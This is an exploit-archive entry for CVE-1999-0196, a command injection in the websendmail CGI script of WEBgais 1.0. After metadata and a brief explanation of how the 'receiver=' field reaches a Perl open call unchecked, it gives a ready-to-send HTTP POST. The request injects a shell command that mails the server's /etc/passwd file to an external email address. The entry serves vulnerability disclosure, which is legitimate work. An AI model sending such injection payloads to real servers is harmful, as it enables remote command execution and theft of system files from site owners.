WEBgais 1.0 - websendmail Remote Command Execution

Author: Razvan Dragomirescu
type: remote
platform: cgi
port: 
date_added: 1997-07-04  
date_updated: 2012-08-13  
verified: 1  
codes: CVE-1999-0196;OSVDB-237  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 20483.txt  
source: https://www.securityfocus.com/bid/2077/info

WEBgais is a package that provides a web interface to the "gais" (Global Area Intelligent Search) search engine tool. This package contains a vulnerable script, websendmail, which can be used to execute arbitrary commands on the server with the privileges of the web server. User supplied data (from the "receiver=" form variable) is passed to a Perl OPEN function without proper input verification, allowing the use of shell metacharacters to separate commands. This can be directly exploited by submitting via the POST method the variable "receiver=" with the command separation shell metacharacter (;) followed by a command. Consequences could range from destruction of data and web site defacement to elevation of privileges through locally exploitable vulnerabilities.

telnet target.machine.com 80
POST /cgi-bin/websendmail HTTP/1.0
Content-length: xxx (should be replaced with the actual length of the string passed to the server, in this case xxx=90)

receiver=;mail+BUGTRAQ\@NETSPACE.ORG</etc/passwd;&sender=a&rtnaddr=a&subject=a&content=a